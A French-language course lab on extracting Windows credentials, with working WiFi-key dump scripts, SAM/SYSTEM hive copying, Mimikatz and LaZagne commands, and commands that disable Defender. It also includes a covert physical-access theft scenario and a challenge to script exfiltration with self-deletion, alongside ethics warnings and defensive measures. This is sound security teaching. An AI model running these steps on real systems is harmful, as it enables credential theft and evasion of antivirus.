Lab 3.1: Extraction Massive de Credentials
Objectifs d'Apprentissage
À la fin de ce laboratoire, vous serez capable de:
- Extraire les mots de passe WiFi stockés sur Windows
- Récupérer les mots de passe des navigateurs web
- Dumper les hash NTLM des comptes Windows
- Comprendre comment Windows stocke les credentials
- Évaluer les risques de sécurité liés au stockage de mots de passe
- Appliquer des mesures de protection appropriées
Durée Estimée
35 minutes
Prérequis
- VM Windows 10/11 avec quelques mots de passe sauvegardés
- Navigateur avec mots de passe enregistrés (Chrome, Firefox ou Edge)
- Quelques réseaux WiFi enregistrés
- PowerShell
Contexte Professionnel
En sécurité informatique, l'extraction de credentials est une étape critique de:
- Tests de pénétration autorisés
- Investigation forensique
- Évaluation de la posture de sécurité
- Sensibilisation des utilisateurs aux risques
Ce lab démontre pourquoi:
- Un accès physique de 2 minutes = Tous vos mots de passe volés
- Les gestionnaires de mots de passe sont essentiels
- Le chiffrement du disque est crucial
- Ne jamais laisser un ordinateur sans surveillance
⚠️ AVERTISSEMENT ÉTHIQUE ET LÉGAL - TRÈS IMPORTANT
CE LAB ENSEIGNE DES TECHNIQUES EXTRÊMEMENT PUISSANTES
Les outils et techniques de ce lab permettent d'extraire TOUS les mots de passe stockés sur un système Windows en quelques secondes.
AUTORISÉ UNIQUEMENT:
- Sur votre propre VM de test
- Sur des systèmes dont vous êtes propriétaire
- Dans le cadre d'un test de pénétration avec contrat signé
- Pour investigation forensique avec mandat légal
STRICTEMENT INTERDIT:
- Sur l'ordinateur d'autrui sans permission écrite
- Pour voler des mots de passe
- Pour accéder à des comptes qui ne vous appartiennent pas
- Pour nuire, espionner ou pirater
CONSÉQUENCES LÉGALES:
- Vol de mots de passe = Crime grave (Code criminel art. 342.1)
- Prison et amendes importantes
- Casier judiciaire permanent
- Expulsion académique
- Poursuite civile
EN RÉALISANT CE LAB, VOUS VOUS ENGAGEZ:
- À utiliser ces techniques uniquement de manière légale et éthique
- À ne JAMAIS extraire les credentials d'autrui
- À sensibiliser votre entourage aux risques
- À protéger vos propres systèmes
Partie 1: Extraction des Mots de Passe WiFi
Étape 1.1: Rappel - Méthode Manuelle
Vous connaissez déjà cette commande du Lab 1.4:
netsh wlan show profiles
netsh wlan show profile name="MonWiFi" key=clear
Limitation: Une commande par réseau = Fastidieux!
Étape 1.2: Script d'Extraction Automatique
Créez un fichier wifi_dump.bat:
@echo off
echo ============================================
echo EXTRACTION MASSIVE - Mots de passe WiFi
echo ============================================
echo.
cd %temp%
netsh wlan show profiles | findstr "Profil Tous" > wifi_names.txt
echo [RESEAUX WIFI TROUVES]
type wifi_names.txt
echo.
echo.
echo [EXTRACTION DES MOTS DE PASSE...]
echo. > wifi_passwords.txt
for /f "tokens=2 delims=:" %%i in ('type wifi_names.txt') do (
set "ssid=%%i"
setlocal enabledelayedexpansion
set "ssid=!ssid:~1!"
echo ========================================== >> wifi_passwords.txt
echo SSID: !ssid! >> wifi_passwords.txt
echo ========================================== >> wifi_passwords.txt
netsh wlan show profile name="!ssid!" key=clear | findstr "Contenu" >> wifi_passwords.txt
echo. >> wifi_passwords.txt
endlocal
)
echo [RESULTATS]
type wifi_passwords.txt
echo.
echo.
echo Fichier sauvegarde: %temp%\wifi_passwords.txt
pause
Exécutez en tant qu'admin:
wifi_dump.bat
BOOM! En quelques secondes:
- Tous les réseaux WiFi listés
- Tous les mots de passe extraits
- Sauvegardés dans un fichier!
Questions:
- Combien de réseaux WiFi avez-vous trouvés?
- Combien de mots de passe avez-vous extraits?
- Combien de temps a pris l'opération?
Étape 1.3: Version PowerShell (Plus Élégant)
Script PowerShell wifi_extract.ps1:
Write-Host "=== EXTRACTION WIFI ===" -ForegroundColor Cyan
$profiles = netsh wlan show profiles | Select-String "Profil Tous" | ForEach-Object {
$_ -replace ".*:\s+", ""
}
$results = @()
foreach ($profile in $profiles) {
$profile = $profile.Trim()
Write-Host "Extraction: $profile" -ForegroundColor Yellow
$password = netsh wlan show profile name="$profile" key=clear |
Select-String "Contenu de la clé" |
ForEach-Object { $_ -replace ".*:\s+", "" }
$results += [PSCustomObject]@{
SSID = $profile
Password = if($password) {$password} else {"(Pas de mot de passe)"}
}
}
$results | Format-Table -AutoSize
$results | Export-Csv -Path "$env:TEMP\wifi_credentials.csv" -NoTypeInformation
Write-Host "`nSauvegarde: $env:TEMP\wifi_credentials.csv" -ForegroundColor Green
Exécutez:
powershell -ExecutionPolicy Bypass -File wifi_extract.ps1
Résultat: Tableau formaté + fichier CSV!
Questions: 4. Préférez-vous le script BAT ou PowerShell? 5. Pourquoi un attaquant utiliserait-il cette technique?
Partie 2: Extraction Mots de Passe des Navigateurs
Étape 2.1: Comprendre le Stockage
Les navigateurs stockent les mots de passe:
- Chrome: Base de données SQLite chiffrée
- Firefox: Base de données SQLite
- Edge: Même que Chrome (Chromium)
Localisation:
- Chrome:
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data - Firefox:
%APPDATA%\Mozilla\Firefox\Profiles\ - Edge:
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data
Chiffrement:
- Windows Data Protection API (DPAPI)
- Déchiffrable SI on a accès au compte utilisateur!
Étape 2.2: Méthode Manuelle - Chrome (Démonstration)
Affichez les mots de passe via Chrome:
- Ouvrez Chrome
chrome://settings/passwords- Cliquez sur l'œil pour voir un mot de passe
- Mot de passe Windows demandé!
Limitation: Un par un, interface graphique
Mais avec accès aux fichiers...
Étape 2.3: Script PowerShell - Extraction Chrome
IMPORTANT: Chrome doit être fermé!
Script chrome_passwords.ps1:
# Vérifier si Chrome est installé
$chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
if (!(Test-Path $chromePath)) {
Write-Host "Chrome n'est pas installé ou pas de mots de passe" -ForegroundColor Red
exit
}
Write-Host "=== EXTRACTION MOTS DE PASSE CHROME ===" -ForegroundColor Cyan
Write-Host "ATTENTION: Ceci est une DEMONSTRATION!" -ForegroundColor Yellow
Write-Host ""
# Copier la base de données (Chrome doit être fermé!)
$tempDb = "$env:TEMP\ChromeLoginData"
Copy-Item $chromePath $tempDb -Force
Write-Host "Base de donnees copiee" -ForegroundColor Green
Write-Host "Localisation: $chromePath" -ForegroundColor Yellow
Write-Host ""
Write-Host "CONTENU (apercu):" -ForegroundColor Cyan
# Afficher quelques infos (sans déchiffrement complet pour ce lab basique)
# Pour déchiffrement complet: Utiliser LaZagne ou outil spécialisé
Write-Host "- Fichier SQLite trouve"
Write-Host "- Taille: $((Get-Item $chromePath).Length / 1KB) KB"
Write-Host "- Derniere modification: $((Get-Item $chromePath).LastWriteTime)"
Write-Host ""
Write-Host "Pour extraction complete, utiliser LaZagne (voir Partie 4)" -ForegroundColor Yellow
Remove-Item $tempDb -Force
Note: Le déchiffrement DPAPI est complexe. Nous utiliserons un outil automatisé à l'étape suivante.
Partie 3: Hash NTLM des Comptes Windows
Étape 3.1: Comprendre les Hash NTLM
Windows stocke les mots de passe sous forme de hash:
- Fichier:
C:\Windows\System32\config\SAM - Hash NTLM (NT LAN Manager)
- Impossible à lire directement (fichier verrouillé)
Mais avec privilèges SYSTEM ou mode récupération...
Étape 3.2: Méthode Reg Save (Nécessite Admin)
Exécutez cmd en tant qu'admin:
reg save HKLM\SAM C:\Users\%USERNAME%\Desktop\sam_backup
reg save HKLM\SYSTEM C:\Users\%USERNAME%\Desktop\system_backup
Résultat: Fichiers SAM et SYSTEM sauvegardés!
Ces fichiers contiennent:
- Tous les comptes utilisateurs locaux
- Leurs hash NTLM
- Peuvent être crackés offline!
Questions: 6. Avez-vous réussi à sauvegarder SAM et SYSTEM? 7. Quelle est la taille de ces fichiers?
Étape 3.3: Extraction avec Mimikatz (Démonstration)
Mimikatz est l'outil de référence pour extraction de credentials Windows.
ATTENTION: Antivirus vont le détecter! C'est normal.
Commandes Mimikatz (démonstration conceptuelle):
privilege::debug
token::elevate
lsadump::sam
Résultat: TOUS les hash NTLM des comptes affichés!
Note: Pour ce lab, nous n'installons pas Mimikatz (détecté comme malware). Nous utiliserons LaZagne à la place (moins détecté).
Partie 4: LaZagne - L'Outil Ultime (Installation et Utilisation)
Étape 4.1: Qu'est-ce que LaZagne?
LaZagne = Outil Python open-source qui extrait TOUT:
- Mots de passe WiFi
- Mots de passe navigateurs (Chrome, Firefox, Edge, Opera, etc.)
- Mots de passe email (Outlook, Thunderbird)
- Mots de passe FTP (FileZilla)
- Credentials Git, SVN
- Credentials bases de données
- Et bien plus!
En une seule commande!
Étape 4.2: Téléchargement
Option A: Version précompilée (Recommandé pour ce lab)
- Allez sur: https://github.com/AlessandroZ/LaZagne/releases
- Téléchargez
lazagne.exe(version Windows standalone)
Option B: Depuis source (si Python installé)
git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne/Windows
python laZagne.py all
ATTENTION: Antivirus va probablement bloquer! Normal, c'est un outil "offensif".
Étape 4.3: Désactiver Windows Defender Temporairement
Pour utiliser LaZagne, il faut désactiver Defender:
PowerShell en admin:
Set-MpPreference -DisableRealtimeMonitoring $true
Ou via interface:
- Paramètres → Confidentialité et sécurité → Sécurité Windows
- Protection contre les virus et menaces
- Gérer les paramètres
- Désactiver Protection en temps réel
Ajoutez une exclusion:
Add-MpPreference -ExclusionPath "C:\Users\$env:USERNAME\Downloads"
Questions: 8. Avez-vous réussi à désactiver Defender? 9. Pourquoi Defender détecte-t-il LaZagne?
Étape 4.4: Exécution de LaZagne - EXTRACTION TOTALE
LA COMMANDE MAGIQUE:
lazagne.exe all
ATTENDEZ 10-30 SECONDES...
RÉSULTAT AFFICHÉ:
########## User: VotreNom ##########
------------------- Wifi passwords -------------------
[+] SSID: MonWiFi_5G
Password: SuperSecret123!
[+] SSID: Bureau_WiFi
Password: Entreprise2024
------------------- Chrome passwords -------------------
[+] URL: https://facebook.com
Username: votreemail@example.com
Password: MotDePasseFacebook123
[+] URL: https://gmail.com
Username: vous@gmail.com
Password: GmailPassword456!
------------------- Firefox passwords -------------------
[+] URL: https://github.com
Username: votrecompte
Password: GitHub789Pass
------------------- System Hash -------------------
[+] Username: Administrateur
Hash: aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
[+] 15 passwords found!
WOW! TOUS LES MOTS DE PASSE EN CLAIR!
Étape 4.5: Sauvegarder dans un Fichier
Pour sauvegarder les résultats:
lazagne.exe all > C:\Users\%USERNAME%\Desktop\ALL_PASSWORDS.txt
Ou en JSON (structuré):
lazagne.exe all -oJ -output C:\Users\%USERNAME%\Desktop
Fichier créé: credentials.json avec TOUT!
Questions: 10. Combien de mots de passe LaZagne a-t-il trouvés? 11. Avez-vous été surpris par certains mots de passe que vous aviez oubliés? 12. Combien de temps a pris l'extraction totale?
Partie 5: Scénarios d'Attaque Réels
Étape 5.1: Scénario "2 Minutes d'Accès Physique"
Situation:
- Victime va aux toilettes (2 minutes)
- Ordinateur déverrouillé
- Attaquant a accès physique
Actions de l'attaquant:
Minute 1:
- Insérer clé USB avec
lazagne.exe - Désactiver Defender (5 secondes):
powershell Set-MpPreference -DisableRealtimeMonitoring $true - Exécuter LaZagne (10 secondes):
E:\lazagne.exe all > E:\pwds.txt
Minute 2: 4. Attendre résultats (20 secondes) 5. Retirer clé USB 6. Réactiver Defender:
powershell Set-MpPreference -DisableRealtimeMonitoring $false
RÉSULTAT:
- Tous les mots de passe volés
- Aucune trace visible
- Victime ne remarque RIEN!
Questions: 13. Ce scénario vous semble-t-il réaliste? 14. Êtes-vous déjà allé aux toilettes en laissant votre PC déverrouillé?
Étape 5.2: Scénario "Malware"
Si un malware s'exécute sur votre PC:
- Télécharge LaZagne depuis serveur attaquant
- Exécute en arrière-plan (invisible)
- Extrait tous les credentials
- Envoie au serveur C&C (Command & Control)
- Se supprime (efface les traces)
Temps total: 30 secondes Détectable: Très difficile si bien fait!
Étape 5.3: Scénario "USB Trouvé"
Attaque classique:
- Attaquant laisse clé USB dans parking/cafétéria
- Label: "Salaires 2024 - Confidentiel"
- Victime curieuse l'insère dans son PC
- Autorun ou victime double-clic sur fichier
- Script exécute LaZagne
- Envoie résultats par email à l'attaquant
Victime: Voit juste "Fichier corrompu" Réalité: Tous ses mots de passe volés!
Questions: 15. Ramasseriez-vous une clé USB trouvée par terre? 16. Que faire si on trouve une clé USB?
Partie 6: Impact et Conséquences
Étape 6.1: Que Peut Faire un Attaquant?
Avec tous vos mots de passe, l'attaquant peut:
Email:
- Lire tous vos emails
- Envoyer des emails en votre nom
- Réinitialiser d'autres mots de passe
Réseaux sociaux:
- Usurper votre identité
- Poster en votre nom
- Accéder à vos messages privés
Bancaire:
- Se connecter à votre banque en ligne
- Effectuer des virements
- Voler de l'argent
Professionnel:
- Accéder au réseau de l'entreprise
- Voler des secrets industriels
- Compromettre des collègues
Tout!
Étape 6.2: Chaîne d'Attaque Complète
Exemple réaliste:
- Vol mots de passe (ce lab)
- Email compromis → Réinitialiser autres comptes
- Réseaux sociaux → Ingénierie sociale sur contacts
- VPN entreprise → Accès réseau corporatif
- Serveurs internes → Exfiltration de données
- Ransomware → Chiffrement et demande de rançon
Tout ça commence par: 2 minutes d'accès physique!
Questions: 17. Quel serait l'impact si TOUS vos mots de passe étaient volés aujourd'hui? 18. Combien de temps faudrait-il pour récupérer?
Étape 6.3: Exercice - Évaluation Personnelle
Comptez combien de comptes vous avez:
- Email: ___
- Réseaux sociaux: ___
- Bancaires/Financiers: ___
- Professionnels: ___
- Autres importants: ___
- TOTAL: ___
Si stockés dans navigateur: Tous volables en 30 secondes!
Partie 7: Mesures de Protection
Étape 7.1: Ne JAMAIS Stocker de Mots de Passe dans le Navigateur
Solution 1: Gestionnaire de Mots de Passe Dédié
Recommandations:
- Bitwarden (gratuit, open source)
- 1Password (payant, excellent)
- KeePassXC (gratuit, local)
Avantages:
- Chiffrement fort
- Mot de passe maître requis
- Pas extractibles par LaZagne
- Génération de mots de passe forts
- Synchronisation sécurisée
Étape 7.2: BitLocker Obligatoire
BitLocker protège contre:
- Extraction de fichiers en mode récupération
- Vol de laptop
- Accès physique
Avec BitLocker activé:
- LaZagne ne peut pas s'exécuter sans mot de passe de déchiffrement
- Fichiers SAM/SYSTEM inaccessibles
- Protection maximale
Activez maintenant:
# Vérifier statut
Get-BitLockerVolume
# Activer (Windows Pro)
Enable-BitLocker -MountPoint "C:" -EncryptionMethod XtsAes256 -UsedSpaceOnly
Étape 7.3: Authentification à Deux Facteurs (2FA)
Même si mot de passe volé:
- 2FA empêche connexion
- Code supplémentaire requis
- Sur téléphone ou clé physique
Activez 2FA partout:
- Email (CRITIQUE!)
- Banque
- Réseaux sociaux
- Comptes professionnels
Applications 2FA:
- Microsoft Authenticator
- Google Authenticator
- Authy
Étape 7.4: Verrouillage Automatique
Configuration Windows:
# Verrouillage après 1 minute
powercfg /setacvalueindex SCHEME_CURRENT SUB_VIDEO VIDEOCONLOCK 60
powercfg /setactive SCHEME_CURRENT
Ou manuellement:
- Paramètres → Comptes → Options de connexion
- Délai avant nouvelle connexion: 1 minute
Toujours: Windows + L en s'éloignant!
Étape 7.5: Antivirus et EDR
Windows Defender:
- Garder activé en permanence
- Sauf pour labs spécifiques
- Réactiver immédiatement après
Entreprise:
- EDR (Endpoint Detection and Response)
- Détecte exécution de LaZagne, Mimikatz
- Alerte l'équipe sécurité
Partie 8: Détection et Nettoyage
Étape 8.1: Vérifier Si Compromis
Signes d'extraction de credentials:
Logs Windows:
# Chercher exécutions suspectes
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} |
Where-Object {$_.Message -like "*password*" -or $_.Message -like "*credential*"} |
Select-Object TimeCreated, Message | Format-List
Fichiers suspects:
# Chercher LaZagne ou outils similaires
Get-ChildItem -Path C:\ -Recurse -Filter "lazagne.exe" -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Recurse -Filter "mimikatz.exe" -ErrorAction SilentlyContinue
Defender Quarantine:
# Vérifier quarantaine
Get-MpThreatDetection | Select-Object ThreatName, InitialDetectionTime
Étape 8.2: Que Faire Si Compromis?
Actions immédiates:
- Déconnecter Internet (empêcher exfiltration)
- Changer TOUS les mots de passe (depuis autre appareil sûr)
- Activer 2FA partout
- Scanner complet antivirus
- Vérifier logs bancaires et emails
- Notifier entreprise (si PC professionnel)
Étape 8.3: Réinitialisation Complète (Si Nécessaire)
Si doute sérieux:
- Backup données importantes (vérifiées saines)
- Réinstallation Windows complète
- Changement de TOUS les mots de passe
- Surveillance des comptes pendant 6 mois
Livrables
À remettre:
-
Document d'analyse (Word/PDF, 3-4 pages):
- Réponses aux 18 questions
- Capture d'écran des mots de passe WiFi extraits (flouté!)
- Résultats LaZagne (ANONYMISÉS!)
- Analyse de votre situation personnelle
-
Captures d'écran (minimum 5):
- Script wifi_dump en action
- Résultat LaZagne (URLs et usernames OK, passwords MASQUÉS!)
- Fichiers SAM/SYSTEM sauvegardés
- Configuration BitLocker
- Gestionnaire de mots de passe installé
-
Plan d'action personnel (1 page):
- État actuel de vos mots de passe
- Risques identifiés
- Actions à prendre (prioriser)
- Timeline d'implémentation
-
Sensibilisation (optionnel):
- Créez une affiche ou présentation pour sensibiliser votre entourage
- "Pourquoi ne jamais laisser son PC sans surveillance"
Critères d'Évaluation
| Critère | Points |
|---|---|
| Extraction réussie des credentials WiFi | 20% |
| Compréhension de LaZagne et son fonctionnement | 20% |
| Analyse des risques et scénarios d'attaque | 20% |
| Plan d'action personnel réaliste | 20% |
| Qualité de la documentation et captures | 15% |
| Sensibilisation (optionnel) | +5% bonus |
Commandes de Référence Rapide
Extraction WiFi
netsh wlan show profiles
netsh wlan show profile name="SSID" key=clear
Désactivation Defender
Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath "C:\Tools"
Sauvegarde SAM
reg save HKLM\SAM sam_backup
reg save HKLM\SYSTEM system_backup
LaZagne
lazagne.exe all
lazagne.exe all > passwords.txt
lazagne.exe all -oJ
BitLocker
Get-BitLockerVolume
Enable-BitLocker -MountPoint "C:" -EncryptionMethod XtsAes256
Dépannage
Problème: Defender bloque LaZagne
Solution:
Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath "C:\Downloads"
Problème: "Accès refusé" pour SAM
Solution: Exécutez cmd en tant qu'administrateur.
Problème: LaZagne ne trouve aucun mot de passe
Solution:
- Vérifiez que vous avez des mots de passe sauvegardés
- Fermez tous les navigateurs avant exécution
- Certains gestionnaires de mots de passe ne sont pas supportés
Aller Plus Loin (Optionnel)
Challenge 1: Crackage de Hash
Utilisez John the Ripper ou Hashcat pour cracker les hash NTLM extraits.
Challenge 2: Script d'Extraction Automatisé
Créez un script qui:
- Désactive Defender
- Exécute LaZagne
- Envoie résultats par email
- Réactive Defender
- S'auto-détruit
(Pour compréhension uniquement, jamais utiliser malicieusement!)
Challenge 3: Protection Avancée
Implémentez:
- Credential Guard (Windows)
- Windows Hello for Business
- Certificats au lieu de mots de passe
- Smart cards
Ressources Additionnelles
- LaZagne GitHub
- Mimikatz Documentation
- DPAPI Explained (Microsoft)
- Credential Manager (Windows)
- OWASP Password Storage Cheat Sheet
Conclusion
Ce lab vous a enseigné:
- Comment Windows stocke les credentials
- Techniques d'extraction massive de mots de passe
- Utilisation de LaZagne pour dump complet
- Scénarios d'attaque réalistes
- Mesures de protection efficaces
Leçons CRITIQUES:
- 2 minutes d'accès = Tous vos mots de passe volés
- JAMAIS stocker mots de passe dans navigateur
- Gestionnaire de mots de passe dédié = Essentiel
- BitLocker = Protection ultime
- 2FA = Sauvegarde si mot de passe volé
- Verrouillage automatique = Habitude à prendre
MESSAGE FINAL:
Vous savez maintenant à quel point il est FACILE de voler tous les mots de passe d'un ordinateur.
Protégez-vous:
- Installez un gestionnaire de mots de passe MAINTENANT
- Activez 2FA sur tous vos comptes AUJOURD'HUI
- Ne laissez JAMAIS votre PC sans surveillance
- Sensibilisez votre entourage
Avec un grand pouvoir vient une grande responsabilité.
Utilisez ces connaissances pour le BIEN: protégez-vous et protégez les autres.
Lab développé dans le cadre du cours Systèmes d'Exploitation - MODULE 3
⚠️ RAPPEL FINAL: Ces techniques sont pour apprentissage UNIQUEMENT. Utilisation malveillante = Crime grave.